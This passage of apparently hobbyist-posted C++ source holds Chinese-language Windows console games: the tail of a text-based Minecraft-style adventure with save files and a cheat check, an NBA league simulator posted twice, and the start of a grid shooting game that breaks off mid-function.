if(hjj[0]>0)
{
hjm="皮革护甲";
hjnx=0;
cout<<"装备成功\n";
hjz=2;
hjnj=60;
system("pause");
}
else
{
cout<<"物品不足\n";
system("pause");
}
}
else
if(a=='2')
{
if(hjj[1]>0)
{
hjm="铁护甲";
hjnx=1;
cout<<"装备成功\n";
hjz=4;
hjnj=256;
system("pause");
}
else
{
cout<<"物品不足\n";
system("pause");
}
}
else
if(a=='3')
{
hjm="金护甲";
if(hjj[2]>0)
{
hjnx=2;
cout<<"装备成功\n";
hjz=2;
hjnj=40;
system("pause");
}
else
{
cout<<"物品不足\n";
system("pause");
}
}
if(a=='4')
{
if(hjj[3]>0)
{
hjm="钻石护甲";
hjnx=3;
cout<<"装备成功\n";
hjz=7;
hjnj=1562;
system("pause");
}
else
{
cout<<"物品不足\n";
system("pause");
}
}
}
}
}
}
}
}
void jh()
{
char jh;
long long kw;
system("cls");
cout<<"请问你要交换什么矿物?"<<endl<<"1.绿宝石->钻石" <<endl;
jh=getch();
if(jh=='1')
{
cout<<"4颗绿宝石换1颗钻石。"<<endl<<"你有绿宝石"<<l<<"颗"<<endl<<"请问你要换几颗钻石?"<<endl;
cin>>kw;
if(l>=4*kw)
{
z+=kw;
l-=4*kw;
cout<<"交换成功"<<endl;
system ("pause");
}
else
{
cout<<"交换失败"<<endl;
system ("pause");
}
}
}
void sg()
{
while(1)
{
system("cls");
char xgq;
cout<<"请问你要修改什么?"<<endl<<"0.退出 1.血量 2.绿宝石 3.钻石 4.铁 5.金 6.血量上限"<<endl;
xgq=getch();
if(xgq=='0')
{
break;
}
if(xgq=='1')
{
cout<<"请输入修改值"<<endl;;
cin>>s;
cout<<"修改成功"<<endl;
system ("pause");
}
if(xgq=='2')
{
cout<<"请输入修改值"<<endl;;
cin>>l;
cout<<"修改成功"<<endl;
system ("pause");
}
if(xgq=='3')
{
cout<<"请输入修改值"<<endl;;
cin>>z;
cout<<"修改成功"<<endl;
system ("pause");
}
if(xgq=='4')
{
cout<<"请输入修改值"<<endl;;
cin>>td;
cout<<"修改成功"<<endl;
system ("pause");
}
if(xgq=='5')
{
cout<<"请输入修改值"<<endl;;
cin>>jd;
cout<<"修改成功"<<endl;
system ("pause");
}
if(xgq=='6')
{
cout<<"请输入修改值"<<endl;;
cin>>ssx;
cout<<"修改成功"<<endl;
system ("pause");
}
}
}
void cd()
{
while(1)
{
zy();
gjz=1+wq;
if(a=='1')
{
mx();
}
else
if(a=='2')
{
gzt();
}
else
if(a=='3')
{
home();
}
else
if(a=='4')
{
rly();
}
else
if(a=='5')
{
xsjc();
}
else
if(a=='6')
{
mm=(z+l)%1000000;
ofstream ofile;
ofile.open("mc.Minecraft");
ofile<<s<<" "<<wq<<" "<<z<<" "<<l<<" "<<z<<" "<<kfl<<" "<<mb<<" "<<mt<<" "<<mg<<" "<<st<<" "<<td<<" "<<jd<<" "<<wqnj<<" "<<jy<<" "<<jyzy<<" "<<gtdj<<" "<<gtnj<<" "<<ftnj<<" "<<tks<<" "<<jks<<" "<<mty<<" "<<ysy[0]<<" "<<ysy[1]<<" "<<ysy[2]<<" "<<ysy[3]<<" "<<ysy[4]<<" "<<ysy[5]<<" "<<cldt<<" "<<bydt<<" "<<wqm<<" "<<name<<" "<<zlld<<" "<<mm<<" "<<ssx<<" "<<hb<<" "<<hjz<<" "<<pg<<" "<<hjnj<<" "<<hjj[0]<<" "<<hjj[1]<<" "<<hjj[2]<<" "<<hjj[3]<<" "<<hjnx<<" "<<gly<<" "<<hjm;
ofile.close();
cout<<"存档成功"<<endl;
system ("pause");
}
else
if(a=='y'&&gly==801)
{
sg();
}
if(a=='e')
{
bb();
}
}
}
int main()
{
int hhh;
cout<<"欢迎来到我的世界文字版1.2.3。(增加护甲值,游戏帮助提升)"<<endl;
cout<<"请问你要打开什么模式?"<<endl<<"1.新建世界"<<endl<<"2.加载存档"<<endl;
c=getch();
ssx=20;
if(c=='1')
{
cout<<"请输入你的名字"<<endl;
cin>>name;
if(name=="Nouth")
{
zk=2;
l=10000;
z=10000;
wq=100;
wqm="创始者之剑";
wqnj=100000000;
s=1000;
ssx=1000;
}
else
if(name=="Herobrine")
{
wq=10000;
wqm="黑曜石";
wqnj=-1;
s=100;
ssx=100;
}
else
if(name=="YYH")
{
cout<<"测试版,请普通玩家不要进入。\n1.开启 2. 不开启\n";
a=getch();
if(a=='2')
{
cd();
}
cin>>gly;
}
cd();
}
else
if(c=='2')
{
ifstream ifile;
ifile.open("mc.Minecraft");
ifile>>s>>wq>>z>>l>>z>>kfl>>mb>>mt>>mg>>st>>td>>jd>>wqnj>>jy>>jyzy>>gtdj>>gtnj>>ftnj>>tks>>bydt>>mty>>ysy[0]>>ysy[1]>>ysy[2]>>ysy[3]>>ysy[4]>>ysy[5]>>cldt>>bydt>>wqm>>name>>zlld>>mm>>ssx>>hb>>hjz>>pg>>hjnj>>hjj[0]>>hjj[1]>>hjj[2]>>hjj[3]>>hjnx>>gly>>hjm;
if(mm!=(z+l)%1000000)
{
cout<<"作者很反感作弊,帮你把存档删了。(诚信为本)\n";
ofstream ofile;
ofile.open("mc.Minecraft");
ofile.close();
return 0;
}
cd();
}
return 0;
}
新手天翼
我也不知道是啥
#include<cstdio>
#define hello(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#pragma GCC optimize(2)
#include<iomanip>
#include<stdio.h>
#include<cstdlib>
#include<algorithm>
#include<ctime>
#include<map>
#include<cmath>
#include<cstdlib>
#include<queue>
#include<iostream>
#include<windows.h>
using namespace std;
POINT p;
struct team{
string name;
int g=0;
int num=0;
int tl=0,jg=0,fs=0;
int sum(){
return tl*3+jg*2+fs*2;
}
}HUREN,a[10005];
void pr(string s){
for(int i=0;i<s.size();i++){
cout<<s[i];
Sleep(40);
}
}void ppr(string s){
for(int i=0;i<s.size();i++){
cout<<s[i];
Sleep(70);
}
}
bool cmp(team t1,team t2){
if(t1.g!=t2.g) return t1.g>t2.g;
if(t1.num!=t2.num) return t1.num>t2.num;
if(t1.sum()!=t1.sum()) return t1.sum()>t2.sum();
if(t1.tl!=t2.tl) return t1.tl>t2.tl;
if(t1.jg!=t2.jg) return t1.jg>t2.jg;
if(t1.fs!=t2.fs) return t1.fs>t2.fs;
return t1.name<t2.name;
}
int gotoxy(int y, int x){
HANDLE handle;
COORD coord;
coord.X = x;
coord.Y = y;
handle = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(handle, coord);
} void cls(){
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
COORD coordScreen = { 0, 0 };
SetConsoleCursorPosition( hConsole, coordScreen );
}
void go1(){
HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO CursorInfo;
GetConsoleCursorInfo(handle, &CursorInfo);
CursorInfo.bVisible = false;
SetConsoleCursorInfo(handle, &CursorInfo);
}int all;
int n;
int fs(int,int);
signed main(){
/*-------------------------基本内容设置开始-----------------------*/
go1();
srand(time(0));
system("title 小李工作室—五分钟小游戏系列之三---------NBA 1.0.0");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);
Sleep(1000);
pr("致敬当年我们追过的NBA球星");
Sleep(1000);
system("cls");
/*-------------------------基本内容设置结束-----------------------*/
/*---------------------------主题程序开始-----------------------*/
loop:
cout<<" 致敬当年我们追过的NBA球星 \n";
cout<<" ① 创建队伍 \n";
cout<<" ② 常规赛 \n";
cout<<" ③ 离开 \n";
int t;
cin>>t;
if(t==1){
printf(" team_name: ");
string hname;
cin>>hname;
a[++n].name=hname;
printf("\n OK");
int a1=10,b1=30;
a[n].jg=fs(a1,b1);
a[n].fs=fs(a1,b1);
a[n].tl=fs(a1,b1);
printf("\n组队中");
pr("……………………\n");
printf("完成!!\n");
pr("基本信息:\n");
Sleep(1000);
pr(" 队名:");
cout<<a[n].name;
pr("队 进攻力:");
cout<<a[n].jg;
pr(" 防守力:");
cout<<a[n].fs;
pr(" 篮板力:");
cout<<a[n].tl;
pr(" 总势力:");
cout<<a[n].sum();
Sleep(3000);
system("cls");
goto loop;
}
else if(t==2){
system("cls");
pr("第");
cout<<++all;
pr("赛季常规赛开始了!!\n\n");
int tmp=0;
for(int i=1;i<=n;i++) a[i].g=0;
pr("参战队伍:\n");
for(int i=1;i<=n;i++){
cout<<a[i].name<<"队 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}
for(int i=1;i<=n;i++){
for(int j=1;j<=n;j++){
if(i!=j){
tmp++;
cout<<"第"<<tmp<<"场:\n";
cout<<"主场"<<a[i].name<<"队VS"<<"客场"<<a[j].name<<"队"<<endl;
if(abs(a[i].sum()-a[j].sum())<=30){
pr("双方较量十分激烈,不分高下!\n");
}else{
pr("双方实力悬殊,一交手胜负已定!\n");
}
pr("得分:");
int ff1=(a[i].sum()+fs(40,70))/2+1,ff2=(a[j].sum()+fs(40,70)+4)/2+1;
cout<<a[i].name<<":"<<ff1<<" "<<a[j].name<<":"<<ff2<<endl;
if(ff1>ff2){
cout<<a[i].name<<"队胜!";
a[i].g+=2;
a[i].jg++;
a[i].fs++;
a[i].tl+=2;
a[j].tl--;
}else if(ff1==ff2){
cout<<"战平!";
a[i].g++;
a[j].g++;
a[i].fs++;
a[i].fs++;
}else{
cout<<a[j].name<<"队胜!";
a[j].g+=2;
a[j].jg++;
a[j].fs++;
a[j].tl+=2;
a[i].tl--;
}
cout<<endl;
system("pause");
system("cls");
}
}
}
sort(a+1,a+n+1,cmp);
pr("常规赛结束了\n");
cout<<"排名:\n";
for(int i=1;i<=n;i++){
a[i].num+=a[i].g;
cout<<"第"<<i<<"名: "<<a[i].name<<"队 "<<"赛季得分:" <<a[i].g<<" 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}
system("pause");
system("cls");
pr("决赛之钟敲响了!!\n");
team sub=a[1],ob=a[2];
Sleep(1000);
system("color 3f");
Sleep(1000);
system("color 6a");
Sleep(1000);
system("color 19");
Sleep(1000);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);
pr("让我们为勇士们狂欢!\n");
Sleep(3000);
system("cls");
pr("决赛主场:");
cout<<sub.name<<"队"<<endl;
pr("决赛客场:");
cout<<ob.name<<"队"<<endl;
pr("加油!\n");
Sleep(4000);
system("pause");
system("cls");
pr("结果已出,让我们倒数5个数:\n");
team winner;
int ff1=(sub.sum()+fs(10,30))+10,ff2=(ob.sum()+fs(20,40));
if(ff1<ff2){
winner=ob;
}else if(ff1>ff2){
winner=sub;
}else{
if(sub.num>ob.num){
winner=sub;
}else{
winner=ob;
}
}
int tmp1=6;
while((tmp1--) >=1){
cout<<tmp1<<endl;
Sleep(1000);
}
ppr("第");
cout<<all;
ppr("赛季总冠军:");
cout<<winner.name<<"队!!!!!\n";
if(winner.name==a[1].name) {
a[1].num+=20;
a[2].fs++;
a[1].fs--;
}else {
a[2].num+=20;
a[2].fs--;
a[1].fs++;
}
system("pause");
system("cls");
cout<<"排名:\n";
for(int i=1;i<=n;i++){
a[i].num+=a[i].g;
cout<<"第"<<i<<"名: "<<a[i].name<<"队 "<<"赛季得分:" <<a[i].g<<" 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}cout<<"历时"<<++tmp<<"场比赛,NBA第"<<all<<"赛季收官";
system("pause");
system("cls");
for(int i=1;i<=n;i++){
a[i].jg+=i;
}
goto loop;
}else if(t==3){
for(int i=1;i<=n;i++){
a[i].num+=a[i].g;
cout<<"第"<<i<<"名: "<<a[i].name<<"队 "<<" 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}
system("pause");
system("cls");
}
return false;
}
int fs(int min,int max){
return (rand()%(max-min+1))+min;
}
新手天翼
我也不知道是啥
#include<cstdio>
#define hello(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#pragma GCC optimize(2)
#include<iomanip>
#include<stdio.h>
#include<cstdlib>
#include<algorithm>
#include<ctime>
#include<map>
#include<cmath>
#include<cstdlib>
#include<queue>
#include<iostream>
#include<windows.h>
using namespace std;
POINT p;
struct team{
string name;
int g=0;
int num=0;
int tl=0,jg=0,fs=0;
int sum(){
return tl*3+jg*2+fs*2;
}
}HUREN,a[10005];
void pr(string s){
for(int i=0;i<s.size();i++){
cout<<s[i];
Sleep(40);
}
}void ppr(string s){
for(int i=0;i<s.size();i++){
cout<<s[i];
Sleep(70);
}
}
bool cmp(team t1,team t2){
if(t1.g!=t2.g) return t1.g>t2.g;
if(t1.num!=t2.num) return t1.num>t2.num;
if(t1.sum()!=t1.sum()) return t1.sum()>t2.sum();
if(t1.tl!=t2.tl) return t1.tl>t2.tl;
if(t1.jg!=t2.jg) return t1.jg>t2.jg;
if(t1.fs!=t2.fs) return t1.fs>t2.fs;
return t1.name<t2.name;
}
int gotoxy(int y, int x){
HANDLE handle;
COORD coord;
coord.X = x;
coord.Y = y;
handle = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(handle, coord);
} void cls(){
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
COORD coordScreen = { 0, 0 };
SetConsoleCursorPosition( hConsole, coordScreen );
}
void go1(){
HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO CursorInfo;
GetConsoleCursorInfo(handle, &CursorInfo);
CursorInfo.bVisible = false;
SetConsoleCursorInfo(handle, &CursorInfo);
}int all;
int n;
int fs(int,int);
signed main(){
/*-------------------------基本内容设置开始-----------------------*/
go1();
srand(time(0));
system("title 小李工作室—五分钟小游戏系列之三---------NBA 1.0.0");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);
Sleep(1000);
pr("致敬当年我们追过的NBA球星");
Sleep(1000);
system("cls");
/*-------------------------基本内容设置结束-----------------------*/
/*---------------------------主题程序开始-----------------------*/
loop:
cout<<" 致敬当年我们追过的NBA球星 \n";
cout<<" ① 创建队伍 \n";
cout<<" ② 常规赛 \n";
cout<<" ③ 离开 \n";
int t;
cin>>t;
if(t==1){
printf(" team_name: ");
string hname;
cin>>hname;
a[++n].name=hname;
printf("\n OK");
int a1=10,b1=30;
a[n].jg=fs(a1,b1);
a[n].fs=fs(a1,b1);
a[n].tl=fs(a1,b1);
printf("\n组队中");
pr("……………………\n");
printf("完成!!\n");
pr("基本信息:\n");
Sleep(1000);
pr(" 队名:");
cout<<a[n].name;
pr("队 进攻力:");
cout<<a[n].jg;
pr(" 防守力:");
cout<<a[n].fs;
pr(" 篮板力:");
cout<<a[n].tl;
pr(" 总势力:");
cout<<a[n].sum();
Sleep(3000);
system("cls");
goto loop;
}
else if(t==2){
system("cls");
pr("第");
cout<<++all;
pr("赛季常规赛开始了!!\n\n");
int tmp=0;
for(int i=1;i<=n;i++) a[i].g=0;
pr("参战队伍:\n");
for(int i=1;i<=n;i++){
cout<<a[i].name<<"队 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}
for(int i=1;i<=n;i++){
for(int j=1;j<=n;j++){
if(i!=j){
tmp++;
cout<<"第"<<tmp<<"场:\n";
cout<<"主场"<<a[i].name<<"队VS"<<"客场"<<a[j].name<<"队"<<endl;
if(abs(a[i].sum()-a[j].sum())<=30){
pr("双方较量十分激烈,不分高下!\n");
}else{
pr("双方实力悬殊,一交手胜负已定!\n");
}
pr("得分:");
int ff1=(a[i].sum()+fs(40,70))/2+1,ff2=(a[j].sum()+fs(40,70)+4)/2+1;
cout<<a[i].name<<":"<<ff1<<" "<<a[j].name<<":"<<ff2<<endl;
if(ff1>ff2){
cout<<a[i].name<<"队胜!";
a[i].g+=2;
a[i].jg++;
a[i].fs++;
a[i].tl+=2;
a[j].tl--;
}else if(ff1==ff2){
cout<<"战平!";
a[i].g++;
a[j].g++;
a[i].fs++;
a[i].fs++;
}else{
cout<<a[j].name<<"队胜!";
a[j].g+=2;
a[j].jg++;
a[j].fs++;
a[j].tl+=2;
a[i].tl--;
}
cout<<endl;
system("pause");
system("cls");
}
}
}
sort(a+1,a+n+1,cmp);
pr("常规赛结束了\n");
cout<<"排名:\n";
for(int i=1;i<=n;i++){
a[i].num+=a[i].g;
cout<<"第"<<i<<"名: "<<a[i].name<<"队 "<<"赛季得分:" <<a[i].g<<" 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}
system("pause");
system("cls");
pr("决赛之钟敲响了!!\n");
team sub=a[1],ob=a[2];
Sleep(1000);
system("color 3f");
Sleep(1000);
system("color 6a");
Sleep(1000);
system("color 19");
Sleep(1000);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);
pr("让我们为勇士们狂欢!\n");
Sleep(3000);
system("cls");
pr("决赛主场:");
cout<<sub.name<<"队"<<endl;
pr("决赛客场:");
cout<<ob.name<<"队"<<endl;
pr("加油!\n");
Sleep(4000);
system("pause");
system("cls");
pr("结果已出,让我们倒数5个数:\n");
team winner;
int ff1=(sub.sum()+fs(10,30))+10,ff2=(ob.sum()+fs(20,40));
if(ff1<ff2){
winner=ob;
}else if(ff1>ff2){
winner=sub;
}else{
if(sub.num>ob.num){
winner=sub;
}else{
winner=ob;
}
}
int tmp1=6;
while((tmp1--) >=1){
cout<<tmp1<<endl;
Sleep(1000);
}
ppr("第");
cout<<all;
ppr("赛季总冠军:");
cout<<winner.name<<"队!!!!!\n";
if(winner.name==a[1].name) {
a[1].num+=20;
a[2].fs++;
a[1].fs--;
}else {
a[2].num+=20;
a[2].fs--;
a[1].fs++;
}
system("pause");
system("cls");
cout<<"排名:\n";
for(int i=1;i<=n;i++){
a[i].num+=a[i].g;
cout<<"第"<<i<<"名: "<<a[i].name<<"队 "<<"赛季得分:" <<a[i].g<<" 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}cout<<"历时"<<++tmp<<"场比赛,NBA第"<<all<<"赛季收官";
system("pause");
system("cls");
for(int i=1;i<=n;i++){
a[i].jg+=i;
}
goto loop;
}else if(t==3){
for(int i=1;i<=n;i++){
a[i].num+=a[i].g;
cout<<"第"<<i<<"名: "<<a[i].name<<"队 "<<" 总得分:"<<a[i].num<<" 总势力:"<<a[i].sum()<<endl;
}
system("pause");
system("cls");
}
return false;
}
int fs(int min,int max){
return (rand()%(max-min+1))+min;
}
新手天翼
**
#include <bits/stdc++.h>
#include <windows.h>
#include <conio.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)//判断键盘是否按下函数定义
using namespace std;
struct player {//玩家结构体(以后可能会有多个玩家,所以定义成这样)
int x,y,life,rem;//每个玩家的坐标,生命,子弹剩余
}soldier;//玩家
struct bullet {//子弹结构体
int x,y,di;//子弹的当前坐标和子弹方向
}fbullet[100000];//子弹数组
int bucount=1;//子弹数量
int cnt;//得分
int enSleep;//控制敌人的移动速度
int ChangeSleep;//控制换弹时间
int clip;//弹夹中剩余的子弹
bool fclip;//标记弹夹是否为空(1为空,0为不空)
bool fc;//判断弹夹是否填充
struct en {//敌人结构体
int x,y;//敌人的坐标
}fen[40];//一共20*20,设置了30个敌人
char Map[200][200];//地图
bool f=false;
void out(string a) {//延时输出(暂时没有用到,以后写介绍会有
for (int i=0;i<a.size();i++) {
cout<<a[i];
Sleep(50);
}
}
void color(int a) {
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);
}
void SetPos(COORD a)
{
HANDLE out=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(out, a);
}
void SetPos(int i, int j)
{
COORD pos={i, j};
SetPos(pos);
}
void init() {//地图初始化函数
memset(Map,' ',sizeof(Map));//将地图初始化为空格更容易看见玩家和敌人
}
void in_con() {
color(7);
system("cls");
out("本游戏控制主要分为两块\n");
cout<<" ";
out("1、玩家人物控制\n");
cout<<" ";
out("玩家在游戏中字符表示为1,通过w(上)s(下)a(左)d(右)控制1上下左右移动\n");
cout<<" ";
out("2、发射子弹控制\n");
cout<<" ";
out("本游戏接近于射击游戏,所以你可以在游戏中发射子弹,通过i(上)k(下)l(右)j(左)控制子弹发射方向\n");
out("按s召唤商店来购买东西");
out("如果中途你想要暂停游戏,您可以按下x键,此时不可以召唤商店\n");
out("如果你没有看介绍或者对介绍不熟悉,请按下Esc退出到主界面\n");
out("一发弹夹为100发子弹,子弹耗尽时会自动换弹,如果中途想要换弹请按r\n");
out("按下k跳出本轮介绍");
while (!KEY_DOWN('K'));
system("cls");
}
void in_cont() {
color(7);
system("cls");
out("本游戏为射击游戏,所以游戏主要分为3个部分\n");
out("开始后你可能会看见:\n");
init();
Map[9][9]='1';
for (int i=1;i<=8;i++) Map[i][9]='0';
for (int i=1;i<=9;i++) Map[rand()%19][rand()%19]='U';
cout<<"╭═══════════════════╮\n";//输出游戏边界
for (int i=1;i<=20;i++) {
cout<<"║";//输出边界
for (int j=1;j<20;j++) {
if (Map[i][j]=='U') color(64);//将敌人设成红色
if (Map[i][j]=='1') color(2);//将本人设置绿色
if (Map[i][j]=='0') color(14);//将子弹设置成**
cout<<Map[i][j];
color(7);//恢复
}//输出地图(由于子弹遇到边界目前会卡在边界上,所以少输出头尾
cout<<"║";//输出边界
if (i==1) printf("剩余生命:%-2d ║\n",soldier.life);
else if (i==2) cout<<"得分 :"<<setw(8)<<cnt<<"分 ║"<<endl;
else if (i==3) cout<<setw(3)<<clip<<setw(6)<<"/"<<setw(5)<<soldier.rem<<" ║"<<endl;
else if (i==4&&fclip&&soldier.rem!=0) cout<<" 换弹中... ║"<<endl;
else if (i==6&&soldier.rem==0) cout<<" 子弹耗尽! ║"<<endl;
else if (i==7&&soldier.rem==0) cout<<"请尽快到商城购买!║"<<endl;
else cout<<" ║"<<endl;
}
cout<<"╰═══════════════════╯\n";//输出游戏边界
out("左边单独框出来的是游戏地图,地图上有3种符号,1,u,0\n");
out("其中1代表玩家,0代表子弹,u代表敌人,具体如何操作,请看操作介绍\n");
out("你的目标就是控制1打u获得得分\n");
out("游戏中会有子弹限制,初始会给出1000发子弹,游戏中会有商城设置,目前里面可以购买生命和子弹,以积分作为货币,避免子弹不够的情况\n");
out("按下k跳出本轮介绍");
while (!KEY_DOWN('K'));
system("cls");
}
void update() {
system("cls");
cout<<"1.0~1.1 更新了游戏介绍,但是非常简洁,比较普通\n";
cout<<"1.1~1.2 更新游戏介绍内容和界面(当前版本未发布)\n";
cout<<"1.2~1.3 更新了游戏界面太卡顿以至于看不清的情况,和弹夹内子弹为负数的情况bug\n";
cout<<"1.3~1.4 作者发布以后立即发现了几个bug,不稳定程序问题解决,修复部分bug\n";
color(14);cout<<"优化部分闪屏问题(存在少量bug,后续继续修复)(本次更新)\n";color(7);
cout<<"按下k继续";
while (!KEY_DOWN('K'));
system("cls");
}
void careful() {
system("cls");
out("游戏中现在存在少量bug,发现请与作者联系\n");
out("祝您玩的愉快\n");
out("按下k继续");
while (!KEY_DOWN('K'));
system("cls");
}
void introduce() {
color(7);
Sleep(500);
bool f=0;
int i=1;
while (true) {
SetPos(0,0);
printf("游戏名字:打击敌人(作者还没想好,暂时就这个难听的吧)\n");
printf("作者:Jack Sparrow(QQ:2256449902)\n");
printf("游戏版本:1.4(第四个版本)\n");
printf("界面操作:w上调,s下调,**代表当前选中,z确定进入\n");
cout<<"╭══════╮\n";
cout<<"║";
if (i==1) {
color(14);
if (KEY_DOWN('Z')) in_con();
}cout<<" 控制介绍 ";color(7);
cout<<"║\n";
cout<<"║";
if (i==2) {
color(14);
if (KEY_DOWN('Z')) in_cont();
}cout<<" 内容介绍 ";color(7);
cout<<"║\n║";
if (i==3) {
color(14);
if (KEY_DOWN('Z')) return ;
}cout<<" 跳出介绍 ";color(7);
cout<<"║\n";
cout<<"╰══════╯\n";
if (KEY_DOWN('W')&&i-1!=0) i--;
if (KEY_DOWN('S')&&i+1<=3) i++;
Sleep(100);
// out("您对游戏的那些部分需要查看介绍:\n");
// out("1、控制介绍(按下u)\n");
// out("2、内容介绍(按下i)\n");
// out("按下Z开始游戏");
}
system("cls");
}
void Opening() {
int i=1;
system("cls");
while (true) {
SetPos(0,0);
printf("游戏名字:打击敌人(作者还没想好,暂时就这个难听的吧)\n");
printf("作者:Jack Sparrow(QQ:2256449902)\n");
printf("游戏版本:1.4(第四个版本)\n");
printf("界面操作:w上调,s下调,**代表当前选中,z确定进入\n");
printf("╭══════╮\n");
printf("║");
if (i==1) {
color(14);
if (KEY_DOWN('Z')&&!f) {
if (KEY_DOWN('Z')) {
for (int i=3;i>=1;i--) {
system("cls");
color(rand()%14);
cout<<i;
Sleep(1000);
}
color(rand()%14);
system("cls");
cout<<"开始!";
Sleep(1000);
return ;
}
}
if (KEY_DOWN('Z')&&f) {
color(7);
int j=0;
SetPos(0,0);
Sleep(500);
system("cls");
while (true) {
SetPos(0,0);
printf("游戏名字:打击敌人(作者还没想好,暂时就这个难听的吧)\n");
printf("作者:Jack Sparrow(QQ:2256449902)\n");
printf("游戏版本:1.4(第四个版本)\n");
printf("界面操作:w上调,s下调,**代表当前选中,z确定进入\n");
printf("╭═══════╮\n");
printf("║");
if (!j) {
color(14);
if (KEY_DOWN('Z')) {
for (int i=3;i>=1;i--) {
system("cls");
color(rand()%14);
cout<<i;
Sleep(1000);
}
color(rand()%14);
system("cls");
cout<<"开始!";
Sleep(1000);
return ;
}
}printf(" 继续上次游戏 ");color(7);
printf("║\n║");
if (j==1) {
color(14);
if (KEY_DOWN('Z')) {
soldier.x=9,soldier.y=9,soldier.life=9,soldier.rem=1000;//玩家初始坐标,生命,子弹数量
clip=100;
ChangeSleep=10;
for (int i=1;i<=bucount;i++)
fbullet[i].x=0,fbullet[i].y=0,fbullet[i].di=0;
bucount=1;
for (int i=1;i<=29;i++) {//生成第一波敌人(目前只是会从上面生成,以后会从四面生成
fen[i].x=0;
fen[i].y=rand()%19;
}
cnt=0;
init();
for (int i=3;i>=1;i--) {
system("cls");
color(rand()%14);
cout<<i;
Sleep(1000);
}
color(rand()%14);
system("cls");
cout<<"开始!";
Sleep(1000);
return ;
}
}printf(" 新游戏 ");color(7);
printf("║\n║");
if (j==2){
color(14);
if (KEY_DOWN('Z')) break;
}
printf(" 退出 ");color(7);
printf("║\n");
printf("╰═══════╯\n");
if (KEY_DOWN('W')&&j-1>=0) j--;
if (KEY_DOWN('S')&&j+1<=2) j++;
Sleep(100);
}
}
}printf(" 开始游戏 ");color(7);
printf("║\n");
printf("║");
if (i==2) {
color(14);
if (KEY_DOWN('Z')) introduce();
}printf(" 查看介绍 ");color(7);
printf("║\n");
printf("║");
if (i==3) {
if (KEY_DOWN('Z')) update();
color(14);
}printf(" 更新内容 ");color(7);
printf("║\n║");
if (i==4) {
if (KEY_DOWN('Z')) careful();
color(14);
}printf(" 注意事项 ");color(7);
printf("║\n");
printf("╰══════╯");
if (KEY_DOWN('W')&&i-1!=0) i--;
if (KEY_DOWN('S')&&i+1<=4) i++;
Sleep(100);
}
}
void control() {//控制函数
if (KEY_DOWN('W')&&soldier.x-1>=1) soldier.x--;
if (KEY_DOWN('S')&&soldier.x+1<=20) soldier.x++;
if (KEY_DOWN('A')&&soldier.y-1>=1) soldier.y--;
if (KEY_DOWN('D')&&soldier.y+1<20) soldier.y++;
}
void fire() {//发射子弹函数
int buco=0;
if (KEY_DOWN('K')) {
while (fbullet[++buco].di!=0);//重复利用数组,以下同理
if (buco>=bucount) bucount++;
fbullet[buco].di=1;
clip--;
}
if (KEY_DOWN('J')) {
while (fbullet[++buco].di!=0);
if (buco>=bucount) bucount++;
fbullet[bucount].di=2;
clip--;
}
if (KEY_DOWN('L')) {
while (fbullet[++buco].di!=0);
if (buco>=bucount) bucount++;
fbullet[bucount].di=3;
clip--;
}
if (KEY_DOWN('I')) {
while (fbullet[++buco].di!=0);
if (buco>=bucount) bucount++;
fbullet[buco].di=4;
clip--;
}
fbullet[buco].x=soldier.x;
fbullet[buco].y=soldier.y;
}
void en_move() {//敌人移动函数
if (enSleep==2) {//控制敌人移动速度
for (int i=1;i<=29;i++) {
if (fen[i].x+1<=21)//如果下一步未出界,那么移动
fen[i].x++;
if (Map[fen[i].x][fen[i].y]=='1') {//如果敌人碰到玩家
soldier.life--;
if (soldier.life==0) {
system("cls");
out("Game Over!");
Sleep(1000);
system("cls");
out("你目前的得分为:");
cout<<cnt;
out("分");Sleep(1000);
system("cls");
out("是否重新开始游戏?\nYes(y)No(n)");
while (true) {
if (KEY_DOWN('N')) exit(0);
if (KEY_DOWN('Y')) {
cnt=0;
soldier.x=9,soldier.y=9;//玩家初始坐标
soldier.life=9;soldier.rem=1000;
for (int i=1;i<=9;i++) {//生成第一波敌人(目前只是会从上面生成,以后会从四面生成
fen[i].x=0;
fen[i].y=rand()%19;
}
bucount=0;
break;
}
}
}
}
if (fen[i].x==21) {//如果到界限,那么重新生成
fen[i].x=0;
fen[i].y=rand()%19;
}
}
enSleep=0;
}
}
void hit(int x,int y,int k) {
if (Map[x][y]=='U') {//如果当前子弹击中敌人
cnt++;//得分累加
for (int j=1;j<=29;j++) {//查出是哪一个敌人被击中
if (fen[j].x==x&&fen[j].y==y) {//找到当前敌人并重新生成
fen[j].x=0;
fen[j].y=rand()%19;
break;
}
}
fbullet[k].x=0;//将子弹放在0,0处(此处不会输出)
fbullet[k].y=0;
fbullet[k].di=0;//以后方便重复利用数组
}
}
void bullet_move() {//子弹移动函数
